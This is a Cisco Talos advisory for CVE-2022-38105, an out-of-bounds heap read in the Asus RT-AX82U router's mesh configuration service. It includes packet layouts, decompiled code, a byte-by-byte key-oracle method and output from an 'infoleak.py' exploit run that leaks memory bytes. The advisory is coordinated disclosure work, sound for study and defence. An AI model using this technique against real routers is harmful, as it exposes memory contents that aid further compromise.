CVE-2022-38105
An information disclosure vulnerability exists in the cm_processREQ_NC opcode of Asus RT-AX82U 3.0.0.4.386_49674-ge182230 router’s configuration service. A specially-crafted network packets can lead to a disclosure of sensitive information. An attacker can send a network request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Asus RT-AX82U 3.0.0.4.386_49674-ge182230
RT-AX82U - https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.
The cfg_server and cfg_client binaries living on the Asus RT-AX82U are both used for easy configuration of a mesh network setup, which can be done with multiple Asus routers via their GUI. Interestingly though, the cfg_server binary is bound to TCP and UDP port 7788 by default, exposing some basic functionality. The TCP port and UDP ports have different opcodes, but for our sake, we’re only dealing with the TCP opcodes which look like such:
type_dict = {
0x1 : "cm_processREQ_KU", // [1]
0x3 : "cm_processREQ_NC", // [2]
0x4 : "cm_processRSP_NC",
0x5 : "cm_processREP_OK",
0x8 : "cm_processREQ_CHK",
0xa : "cm_processACK_CHK",
0xf : "cm_processREQ_JOIN",
0x12 : "cm_processREQ_RPT",
0x14 : "cm_processREQ_GKEY",
0x17 : "cm_processREQ_GREKEY",
0x19 : "cm_processREQ_WEVENT",
0x1b : "cm_processREQ_STALIST",
0x1d : "cm_processREQ_FWSTAT",
0x22 : "cm_processREQ_COST",
0x24 : "cm_processREQ_CLIENTLIST",
0x26 : "cm_processREQ_ONBOARDING",
0x28 : "cm_processREQ_GROUPID",
0x2a : "cm_processACK_GROUPID",
0x2b : "cm_processREQ_SREKEY",
0x2d : "cm_processREQ_TOPOLOGY",
0x2f : "cm_processREQ_RADARDET",
0x31 : "cm_processREQ_RELIST",
0x33 : "cm_processREQ_APLIST",
0x37 : "cm_processREQ_CHANGED_CONFIG",
0x3b : "cm_processREQ_LEVEL",
}
Out of the 24 different opcodes, only 3 or so can be used without authentication, and so let’s start from the top with cm_processREQ_KU [1]. The simplest request, it demonstrates the basic TLV structure of the cfg_server:
struct REQ_TLV = {
uint32_t tlv_type;
uint32_t size;
uint32_t crc;
char buffer[];
}
For the cm_processREQ_KU request, type is 1 and the crc doesn’t actually matter, but the size field will always be the size of the buffer field, not the rest of the headers. Regardless, this particular request gets responded to with the server’s public RSA key. This RSA key is needed in order to send a valid cm_processREQ_NC[2] packet, which is where our bug is. The cm_processREQ_NC request is a bit complex, but the structure is given below:
struct REQ_NC = {
uint32_t tlv_type = "\x00\x00\00\x03",
uint32_t size,
uint32_t crc,
uint32_t tlv_subpkt1 = "\x00\x00\x00\x01", //[3]
uint32_t sizeof_subpkt1,
uint32_t crcof_subpkt1,
char master_key[ ], //[4]
uint32_t tlv_subpkt2 = "\x00\x00\x00\x03",
uint32_t sizeof_subpkt2,
uint32_t crcof_subpkt2,
char client_nonce[ ], //[5]
}
The cm_processREQ_KU request provides the server with two different items that are used to generate the session key needed for all subsequent requests, the master_key[3] and the client_nonce[4]. A quick note before we get to that: Everything in the packet starting from the tlv_subpkt1 field at [3] gets encrypted by the RSA public key that we get from the cm_processREQ_KU request, so there’s an implicit length limitation due to RSA encryption. Continuing on, the master_key[4] buffer is used as the aes_ebc_256 key that the server will use to encrypt the response to this packet, and the client_nonce buffer is used to generate a session key later on. Let us now examine what the server sends in return:
[~.~]> x/60bx $r1
0xb62014e0: 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x20 // headers
0xb62014e8: 0x06 0x42 0x18 0x4f
0xb62014ec: 0x13 0x9f 0x09 0x97 // server nonce [6]
0xb62014f0: 0x90 0x92 0x9b 0x85 0xe5 0x40 0xa1 0x38
0xb62014f8: 0xd7 0x81 0x62 0x72 0xf6 0x88 0x5c 0xef
0xb6201500: 0x61 0x86 0x5c 0xc0 0xef 0xc0 0x06 0x23
0xb6201508: 0xa2 0x6d 0x6a 0x85
0xb620150c: 0x00 0x00 0x00 0x03 // headers
0xb6201510: 0x00 0x00 0x00 0x04 0x51 0xb3 0x28 0x43
0xb6201518: 0xcc 0xcc 0xcc 0xcc // [...] // client nonce [7]
Both the server_nonce at [6] and the client_nonce[7] are AES encrypted and sent back to us. Subsequent authentication consists of generating a session key from sha256(groupid + server_nonce + client_nonce). In order to hit our bug, we don’t even need to go that far. Let us take a quick look at how the AES encryption happens:
0001d8b0 void *aes_encrypt(char *enckey, char *inpbuf, int32_t inpsize, uint32_t outsize){
0001d8c8 int32_t ctx = EVP_CIPHER_CTX_new();
0001d8d4 if (ctx == 0){ ... }
0001d904 else {
0001d914 int32_t r0_2 = EVP_EncryptInit_ex(ctx: ctx, type: EVP_aes_256_ecb(), imple: null, key: enckey, iv: nullptr);
We don’t need to delve too much into what occurs; it suffices to know that the key is passed directly from the enckey parameter straight into the EVP_EncryptInit_ex. Backing up to find what exactly is passed:
00057534 int32_t cm_processREQ_NC(int32_t clifd, struct ctrlblk *ctrl, void *tlvtype, int32_t pktlen, void *tlv_checksum, struct tlv_ret_struct* sess_block, char *pktbuf, uint32_t client_ip, char *cli_mac){
{...}
00058b58 void *aes_resp = aes_encrypt(enckey: sess_block->master_key, inpbuf: nonce_buff, inpsize: clinonce_len + sess_block->server_nonce_len + 0x18, outsize: &act_resp_b_size);
We can see it involves the masterkey that we provided. Let’s back up further in cm_processREQ_NC to see exactly how it’s populated:
00057534 int32_t cm_processREQ_NC(int32_t clifd, struct ctrlblk *ctrl, void *tlvtype, int32_t pktlen, void *tlv_checksum, struct tlv_ret_struct* sess_block, char *pktbuf, uint32_t client_ip, char *cli_mac){
// [...]
00057af4 int32_t req_type = decbuf_0x1002.request_type_le
00057af4 int32_t req_len = decbuf_0x1002.total_len_le
00057af4 int32_t req_crc = decbuf_0x1002.crc_mb
00057b00 int32_t reqlen = req_len u>> 0x18 | (req_len u>> 0x10 & 0xff) << 8 | (req_len u>> 8 & 0xff) << 0x10 | (req_len & 0xff) << 0x18
00057b08 int32_t reqcrcle_
00057b08 if (reqlen != 0)
00057b10 reqcrcle_ = req_crc u>> 0x18 | (req_crc u>> 0x10 & 0xff) << 8 | (req_crc u>> 8 & 0xff) << 0x10 | (req_crc & 0xff) << 0x18
00057b18 if (reqcrcle_ != 0)
00057bb4 if (req_type != 0x1000000) // master key [8]
// [...]
00057c48 int32_t decsize_m0xc = size_of_decrypted - 0xc
00057c50 if (decsize_m0xc u< reqlen) // [9]
// [...]
00057cf0 char (* var_1048_1)[0x1000] = &dec_buf_contents
00057d00 if (do_crc32(IV: 0, buf: &dec_buf_contents, bufsize: reqlen) != reqcrcle_) [10]
// [...]
00057d94 sess_block->masterkey_size = reqlen
00057d9c char* aeskey_malloc = malloc(bytes: reqlen) // [11]
00057da8 sess_block->master_key = aeskey_malloc
// [...]
00057db8 memset(aeskey_malloc, 0x0, reqlen);
00057dd8 memcpy(aeskey_malloc, &dec_buf_contents, reqlen);
Trimming out all the error cases, we start from where the server starts reading the bytes decrypted with its RSA private key. All the fields have their endianess reversed, and the sub-request type is checked at [8]. A size check at [9] prevents us from doing anything silly with the length field in our master_key message, and a CRC check occurs at [10]. Finally the sess_block->master_key allocation occurs at [11] with a size that is provided by our packet.
Now, an important fact about AES encryption is that the key is always a fixed size, and for AES_256, our key needs to be 0x20 bytes. As noted above however, there’s not actually any explicit length check to make sure the provided master_key is 0x20 bytes. Thus, if we provide a master_key that’s say, 0x4 bytes, a malloc, memset and memcpy of size 0x4 will occur. aes_encrypt will read 0x20 bytes from the start of our master_key’s heap allocation, resulting in an out-of-bound read and assorted heap data being included into the AES key that encrypts the response. While not exactly a straight-forward leak, we can figure out these bytes if we slowly oracle them out. Since we know what the last bytes of the response should be (the client_nonce that we provide), we can simply give a master_key that’s 0x1F bytes, and then brute force the last byte locally, trying to decrypt the response with each of the 0xFF possibilities until we get one that correctly decrypts. Since we know the last byte, we can then move onto the second-to-last byte, and so-on and so forth, until we get useful data.
While the malloc that occurs can go into a different bucket based on the size of our provided master_key, heuristically it seems that the same heap chunk is returned with a master_key of less than 0x1E bytes. A different chunk is returned if the key is 0x1F or 0x1E bytes long. If we thus give a key of 0x1D bytes, we have to brute-force 3 bytes at once, which takes a little longer but is still doable. After that we can go byte-by-byte again and leak important information such as thread stack addresses.
$python infoleak.py
Type: 1 (cm_processREQ_KU)
Len: 0x4
CRC: 0x56b642cd
===MSG===
\x11\x22\x33\x44
=========
b'\x00\x00\x00\x01\x00\x00\x00\x04V\xb6B\xcd\x11"3D'
[^_^] Importing:
-----BEGIN PUBLIC KEY-----
[...]
-----END PUBLIC KEY-----
Type: 3 (cm_processREQ_NC)
Len: 0x100
CRC: 0x92657321
===MSG===
\x1a\x54\xd7\x4a\xf6\x7a\xe1\x4c\x16\x76\x69\x74\x2b\x96\x41\xc6\xa0\xbc\x57\x58\x45\x61\xa9\xa9\x04\x09\xae\xb4\xb2\x9c\x54\xdd\xb8\xd1\x8f\x0d\x25\xf6\x79\x07\xd6\x65\x12\x75\xbb\x7d\x2d\x4e\x41\xf0\xa9\x47\x75\xa5\x73\x2d\x4c\x02\x10\x9e\xb1\x3a\x2c\xa5\x1c\x11\xfe\x35\x8e\xd3\x95\x53\xe5\x90\x3a\x9a\x8b\xad\x9b\x10\x81\xde\xd3\x67\x19\x9d\x34\x44\x52\x75\x1d\x90\xc7\xbf\x19\xf1\x04\x15\x19\xd4\x11\x2d\x70\xbd\xa9\x87\xdf\x22\x59\xc2\xb0\xb1\xd5\x7b\x5a\xcb\xe7\xc7\x34\x0f\xcb\xa6\x9f\x81\x5c\xb3\x6d\xf7\x1c\x49\xd7\xed\x72\x54\x85\xe0\xca\x32\x96\xa9\xa2\x44\xda\x56\xfb\xf7\x96\x21\x53\xb7\xbe\x9c\xc9\x5f\x4a\x00\xdb\x2f\xd2\x6e\x1b\xf5\xdc\xa9\xa5\x8f\xde\xf5\x80\x83\xd7\xd8\x65\xe8\x6f\xd6\x0a\x3e\x10\x92\xca\xd2\xbf\x14\x1c\x06\xf0\x53\xb5\x41\xea\x2a\xe2\x5c\x2a\xa8\xb9\xa2\x92\xe7\xd5\x44\x55\x1c\x8e\x9b\xff\x13\x37\x60\x5b\x82\xfa\xa0\xe7\x44\x8f\x0b\xe9\x8f\x64\xcd\xa4\x50\xe9\xcd\xbc\x14\x34\xed\x57\xc5\x0a\xaf\xc3\x8d\x71\xee\x48\x35\x90\xa6\xb7\x08\x6c\xfb\xb1\xbf\xee\x0c\x72\x21\xdf\x4e\x29\xf9
=========
[^_^] Leaked Bytes: 0x0000b620
b'\x00\x00\x00\x02\x00\x00\x00 \x1a=\xac\x11\xebVxU\xe7\\\xdb8\x02\\k\n<\x91_>\x17\xc6r\x08\xfc\xbc\xde\xf6\x1a\x1ev\xfa\x03_\xf0y\x00\x00\x00\x03\x00\x00\x00\x07\x10\xc1\x06\xa9\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x01'
2022-08-23 - Vendor Disclosure
2022-11-16 - Vendor Patch Release
2023-01-10 - Public Release
Discovered by Lilith >_> of Cisco Talos.